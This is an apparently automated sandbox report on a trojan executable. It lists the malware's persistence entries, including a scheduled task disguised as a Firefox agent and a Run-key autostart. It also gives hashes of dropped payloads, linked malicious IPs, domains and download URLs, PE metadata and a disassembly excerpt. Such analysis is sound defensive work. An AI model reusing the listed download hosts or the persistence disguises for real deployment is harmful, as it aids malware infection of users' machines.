Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	GyTbKONlyq.exe
Original Sample Name:	00dfb3bda309b0e16f6ea1928ce72721.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@9/9@112/11
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 48.8% (good quality ratio 43.6%) Quality average: 73.2% Quality standard deviation: 34.3%
HCA Information:	Successful, ratio: 98% Number of executed functions: 67 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, consent.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: GyTbKONlyq.exe

Simulations

Behavior and APIs

Time	Type	Description
10:01:00	API Interceptor	794x Sleep call for process: explorer.exe modified
10:01:16	Task Scheduler	Run new task: Firefox Default Browser Agent E026B69DB07E1318 path: C:\Users\user\AppData\Roaming\gjsvvic
10:01:59	API Interceptor	1x Sleep call for process: B7BD.exe modified
10:02:43	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
10:02:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
175.126.109.15	KjRdKF51Il.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	uaery.top/dl/build.exe
	AsZR6kDxGA.exe	Get hash	malicious	Browse	perficut.at/tmp/
	W7bjVq2qfH.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	tyTazKJI7P.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	xdAzYGAuKY.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	perficut.at/tmp/
	7as61wzljU.exe	Get hash	malicious	Browse	perficut.at/tmp/
	file.exe	Get hash	malicious	Browse	mightys.at/tmp/
	file.exe	Get hash	malicious	Browse	mightys.at/tmp/
	file.exe	Get hash	malicious	Browse	mightys.at/tmp/
	file.exe	Get hash	malicious	Browse	mightys.at/tmp/
	file.exe	Get hash	malicious	Browse	mightys.at/tmp/
	application.exe	Get hash	malicious	Browse	mightys.at/tmp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.tvtools.fi	eQcKjYOV30.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	SU2xrRCA3S.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	y2PdD43EkF.exe	Get hash	malicious	Browse	172.67.152.159
	X3FY8LCacG.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	A5VY5aB4rk.exe	Get hash	malicious	Browse	172.67.152.159
www.fcwcvt.org	eQcKjYOV30.exe	Get hash	malicious	Browse	188.114.97.3
	1EsDtA4mep.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	MYorfmVq9Z.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	lCVLEXbxih.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	icKRjsDL47.exe	Get hash	malicious	Browse	188.114.96.3
	h9Gwq0fYVO.exe	Get hash	malicious	Browse	188.114.97.3
	foNMlXr86C.exe	Get hash	malicious	Browse	188.114.97.3
	nwk9iV8lpS.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.96.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	3ts2As2Bkm.exe	Get hash	malicious	Browse	188.114.96.3
	0fmEh2zmDj.exe	Get hash	malicious	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
SKB-ASSKBroadbandCoLtdKR	KjRdKF51Il.exe	Get hash	malicious	Browse	58.235.189.192
	N8yhlxPSOf.elf	Get hash	malicious	Browse	211.49.14.162
	RCV58FdhEe.elf	Get hash	malicious	Browse	58.231.59.185
	file.exe	Get hash	malicious	Browse	175.120.254.9
	kwari.x86.elf	Get hash	malicious	Browse	211.58.111.207
	file.exe	Get hash	malicious	Browse	175.126.109.15
	nuklear.x86.elf	Get hash	malicious	Browse	211.59.254.147
	file.exe	Get hash	malicious	Browse	211.59.14.90
	file.exe	Get hash	malicious	Browse	175.126.109.15
	file.exe	Get hash	malicious	Browse	175.120.254.9
	file.exe	Get hash	malicious	Browse	175.120.254.9
	mlQ7k6bTTg.exe	Get hash	malicious	Browse	58.235.189.192
	file.exe	Get hash	malicious	Browse	211.59.14.90
	file.exe	Get hash	malicious	Browse	222.236.49.124
	file.exe	Get hash	malicious	Browse	222.236.49.124
	file.exe	Get hash	malicious	Browse	175.126.109.15
	file.exe	Get hash	malicious	Browse	58.235.189.192
	file.exe	Get hash	malicious	Browse	175.120.254.9
	file.exe	Get hash	malicious	Browse	222.236.49.123
	file.exe	Get hash	malicious	Browse	222.236.49.123

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	KjRdKF51Il.exe	Get hash	malicious	Browse	190.114.9.88
	GW1u7Ax4Fu.exe	Get hash	malicious	Browse	190.114.9.88
	Ww8rdvUOAk.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	0a25ac441bb2adabe39c3349c625f2fa673ba097747f5.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	35d7bfaa55b73ca97da12fba7a06328783358576034ed.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	3gcs852R7S.exe	Get hash	malicious	Browse	190.114.9.88
	tHp33gimYz.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	jrVH8C0uGi.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	https://sigtn.com/utils/emt.cfm?client_id=4768014&campaign_id=888888&qid=30692089&link=aHR0cHM6Ly96b3JkYWIubG9sP2U9UWt4dmFHNWxjMEJvWlhOekxtTnZiUT09	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	21063fbe8f41527df5613ed1fec86e81f25e7649ecee5.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\3896.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\B7BD.exe	KjRdKF51Il.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\B7BD.exe	file.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\D2B5.exe	KjRdKF51Il.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\D2B5.exe	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\3896.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	459264
Entropy (8bit):	6.811691785184634
Encrypted:	false
SSDEEP:	12288:UAmCYO5f9gYH6O5cr+rn6uMkvWhYvD+0sP:UAmCYOReYH6NCrn6uB40
MD5:	A0114856020C2A20C6C85A7DB2027B03
SHA1:	83DD0F53B4FD0D479F98A80E13CFB992E8237014
SHA-256:	0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
SHA-512:	05A1D92C7330839971604940B696A85D412FC99D6DDBC467051DCD1BA8CEA923F35C5AE7DE56D94124E01F76E9335E2D7FD488F5634E4231ECAEB62EC147B3FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.z...)...)...).B.(...).B.(...).B.(...)A.P)...)A.R)...)A.S)...)(.j)...)...)y..)...)...)bB.(...)Rich...)........................PE..L....u.c.................2..........i........P....@..........................P............@..................................`..(................................6..................................0...@............P...............................text...`........................... ..`.text...`........................... ....rdata.......P.......6..............@..@.data...Xf...p...R...R..............@....gfids..d...........................@..@.debug_oP...........................@..B.reloc...6.......8..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B7BD.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	520704
Entropy (8bit):	7.73653506512677
Encrypted:	false
SSDEEP:	12288:wVH698VmuI0P5ilOAQH/8ExlwkY/krla:wdg8HgsAS3DfKz
MD5:	95BF7AA7949C549B0B92405A4EC9E475
SHA1:	2E3A2AA5C3717150DAFA56798CA5BEAEFB556FE9
SHA-256:	1873774234676C6E76DB4EFABC4E090E909819C7F1D09F90DCAA9BBAC37C6EEB
SHA-512:	791826DE7CDE0C6B2DA07C6B313C6A1426DB1D23390BF9A032138C1451C8774DFDF856D6F52824462CF99883474348DFD82732EFF00262A8F02597B9D7A94ADF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: KjRdKF51Il.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].*...D...D...D.......D.....p.D.....1.D.>5?...D...E.f.D.......D.......D.......D.Rich..D.........................PE..L....SMa................."....>......g.......@....@...........................?......%.......................................&..d.... ?.Xv....................?......................................@..@............................................text.... .......".................. ..`.data...h.=..@.......&..............@....rsrc...Xv... ?..x...:..............@..@.reloc..H?....?..@..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D2B5.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3837952
Entropy (8bit):	7.984306861676395
Encrypted:	false
SSDEEP:	98304:xPEq7Q1OYGC1JhlhFvesu8faRH1KTjDDKlwqdRmPGl:neO/u9WRVKTjfEPd0PGl
MD5:	7CB3BB706DBEF286C79433E12F459EB2
SHA1:	A3794B6BA67BEB2F8A43D813C091D51D36DEA046
SHA-256:	5E4D9BCDF251D1A3A8FCF734BDE3A976C4698E7B46BF8545D3AA5461EE6A1A3E
SHA-512:	A11D2B44806EB535E8B33609D42401B0ACB7DE9DC62EA2C6D189ED2723A8AADAEC1467BB8367F05D414A99F4F3092094AB368143347E12C4408C68E68AE284CD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: KjRdKF51Il.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].*...D...D...D.......D.....p.D.....1.D.>5?...D...E.f.D.......D.......D.......D.Rich..D.........................PE..L...QNMa................."...2q......g.......@....@...........................r......1;......................................&..d.....q.Xv................... r.............................(A.......@..@............................................text.... .......".................. ..`.data...HXp..@....8..&..............@....rsrc...Xv....q..x....9.............@..@.reloc...^... r..`...0:.............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\D2B5.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4487680
Entropy (8bit):	6.564514922874415
Encrypted:	false
SSDEEP:	98304:XJIkmx5C4J/FM844K9g15wwRZwVVvg5U1yuXVdjcC0qyL:Skmm4J/m844Ft/1
MD5:	7BB52FFEF504F1CC031A2BF547DF7FAE
SHA1:	7FB05985D2D3D9286412F53ADE318B7494213326
SHA-256:	69F3F6845ABF830DE473B8746F214457F1C8E8B20D0C83018516547C4597A558
SHA-512:	37A596CCAC29739DF7DE5EE0448AF7C17DC4166F678362442DF9FDFA500328012E019313C37018A420F7DC22F8661AAE95B1A7AEC4BB0EBB677AD34379973CAC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....1.c..................>.........t.>.......?...@..........................PE......................................`@.......@..9....D..f....................@..W....................................................@......P@......................text.....>.......>................. ..`.itext........>.......>............. ..`.data.........?.......>.............@....bss....Xg....?..........................idata...9....@..:...r?.............@....didata......P@.......?.............@....edata.......`@.......?.............@..@.rdata..D....p@.......?.............@..@.reloc...W....@..X....?.............@..B.rsrc....f....D..f....D.............@..@.............PE......zD.............@..@........................................................

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\3896.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\AppData\Local\Temp\3896.exe
File Type:	Matlab v4 mat-file (little endian) , sparse, rows 0, columns 22
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	7.401357647467757
Encrypted:	false
SSDEEP:	24:EtfJzMehIUuS3pqCggpHF6+RTU+jWX930pV1nHvFiQYmm9KwanFX48UYsRfvtc2:Et9MehIURpU4HHdU+jWN3K/n9z3m9jaQ
MD5:	024D040C5C5F5CD6B8EC23D60B5B5B37
SHA1:	0BA4F2857F856809FE788324956300910DE5C1BF
SHA-256:	145398618F4378DF3614B3EE578EEDCCD65923B9410CD441F5F7D4E4DA60892B
SHA-512:	14E30CEF7B1E48EC456A61AFE54AD75FC4E0AC9C6AC17F59314B628AA2763D50267C62D01E3B9C0DD2025D34E29EE4B7DE68600E23C7B0EBA5C9D4E3BF8AA5EB
Malicious:	false
Preview:	........................................MyDefaultKeyContainer.RSA1....................8t.Qb...._.#. .N...e..Fm..3%O.u.....AMn...)..Cj..Q.s.....A.xF....:;a7g."..v5.k ..Gr....,5..D.f.P+...z..8.:.N.Q........................z..O......ey.xi5B...W.E&9....,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... ....w4.R.`.....8.%.}...B..!Rs..kQ............ ...8..(&`X....9..2.t..MQm....kG.n....._%.[0.......&RyG.6...%$.7u...<.V../f.1...?>.n.\|e.,..$..Y.c...u:i.A...(.....y.e.6..0X.f..[.o.U..1..A+...c..k-.,;K..#..%v8K.d(EfS.......90&......X......re........U...2..R..5...d.......Z..-..-i......3...v1.z.5..Dx^...$.5.Q......~b...".h..P..0@1...%....B.*6..@.4H..AIe..[..i$..[.19...gi...;.!.Jh.H..iIz\|Kq..`\|J..#...8...x\|K....G.W..A8.....>(..jIA.O(.{.R.....r....I..)i.Ek....k.T7...E.fG.@8+&.Ei..w.....`..t......>...7....J...N...O{)..l.W..b&L7.^.g..y........Pa...B."x./>.POB...G p....U.M....b.I.>.J......:...9&.[.....}.0D.."4j..W.Q.5.....'..;z..b..r.j..~V..2.HC..C..;.

C:\Users\user\AppData\Roaming\gjsvvic

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212480
Entropy (8bit):	7.040623630351925
Encrypted:	false
SSDEEP:	3072:oXMeWKbrLAhBRklX3RLpK5da7HtqpwLMoaaaQSpFGEAljQ:OpbrLMeVo2ywAl3psBQ
MD5:	00DFB3BDA309B0E16F6EA1928CE72721
SHA1:	BD0ECF684B7C85D3A6B8054F2C136C1103CDC184
SHA-256:	FB4950BFF0A9A33D985477A59208C9DC05198D186CC0009F0EBBA58A3ECC8046
SHA-512:	467BA1465177ECBC7B0DE40EA64A0B73CA833AB5EAF40B76A4D77F60641CCCD178C498462CD638C54D9691A4A0CAD4492200A4E8B330D3804661C8810C62BDF7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].*...D...D...D.......D.....p.D.....1.D.>5?...D...E.f.D.......D.......D.......D.Rich..D.........................PE..L...Q..b................."....9......g.......@....@..........................0;.....n........................................&..d....p:.Xv....................:......................................@..@............................................text.... .......".................. ..`.data....'9..@...b...&..............@....rsrc...Xv...p:..x..................@..@.reloc..Z<....:..>..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\gjsvvic:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\pigalicapi.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\3896.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	459264
Entropy (8bit):	6.811691785184634
Encrypted:	false
SSDEEP:	12288:UAmCYO5f9gYH6O5cr+rn6uMkvWhYvD+0sP:UAmCYOReYH6NCrn6uB40
MD5:	A0114856020C2A20C6C85A7DB2027B03
SHA1:	83DD0F53B4FD0D479F98A80E13CFB992E8237014
SHA-256:	0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
SHA-512:	05A1D92C7330839971604940B696A85D412FC99D6DDBC467051DCD1BA8CEA923F35C5AE7DE56D94124E01F76E9335E2D7FD488F5634E4231ECAEB62EC147B3FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.z...)...)...).B.(...).B.(...).B.(...)A.P)...)A.R)...)A.S)...)(.j)...)...)y..)...)...)bB.(...)Rich...)........................PE..L....u.c.................2..........i........P....@..........................P............@..................................`..(................................6..................................0...@............P...............................text...`........................... ..`.text...`........................... ....rdata.......P.......6..............@..@.data...Xf...p...R...R..............@....gfids..d...........................@..@.debug_oP...........................@..B.reloc...6.......8..................@..B........................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.040623630351925
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GyTbKONlyq.exe
File size:	212480
MD5:	00dfb3bda309b0e16f6ea1928ce72721
SHA1:	bd0ecf684b7c85d3a6b8054f2c136c1103cdc184
SHA256:	fb4950bff0a9a33d985477a59208c9dc05198d186cc0009f0ebba58a3ecc8046
SHA512:	467ba1465177ecbc7b0de40ea64a0b73ca833ab5eaf40b76a4d77f60641cccd178c498462cd638c54d9691a4a0cad4492200a4e8b330d3804661c8810c62bdf7
SSDEEP:	3072:oXMeWKbrLAhBRklX3RLpK5da7HtqpwLMoaaaQSpFGEAljQ:OpbrLMeVo2ywAl3psBQ
TLSH:	2924DF0279D2D0B2D54781735530EBA05EBBBBFC4790809B239816FE6E706E19BB7352
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].*...D...D...D.......D.....p.D.....1.D.>5?...D...E.f.D.......D.......D.......D.Rich..D.........................PE..L...Q..b...

File Icon


Icon Hash:	e5e2e8f4e1f0e464

Static PE Info

General

Entrypoint:	0x4067bf
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6212DD51 [Mon Feb 21 00:31:13 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6ccedcfbe9eee8f9056044facdc7d477

Entrypoint Preview

Instruction
call 00007F0C98BE979Dh
jmp 00007F0C98BE4DAEh
int3
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F0C98BE4F56h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F0C98BE4F80h
test ecx, 00000003h
jne 00007F0C98BE4F21h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F0C98BE4F1Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F0C98BE4F64h
test ah, ah
je 00007F0C98BE4F56h
test eax, 00FF0000h
je 00007F0C98BE4F45h
test eax, FF000000h
je 00007F0C98BE4F34h
jmp 00007F0C98BE4EFFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 00401300h
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F0C98BE4F3Eh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x126d4	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3a7000	0x7658	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3af000	0xbc8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11f0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x40e0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1ac	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x120c4	0x12200	False	0.5623248922413793	data	6.746636236059439	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x14000	0x3927e8	0x16200	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3a7000	0x7658	0x7800	False	0.5322265625	data	4.838570649515282	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3af000	0x3c5a	0x3e00	False	0.16595262096774194	data	1.8887718856806577	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Iran
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a7300	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Iran
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a81a8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Iran
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Tajikistan
RT_ICON	0x3a8a50	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Farsi	Uzbekistan
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Iran
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Afganistan
RT_ICON	0x3a9118	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Farsi	Tajikistan
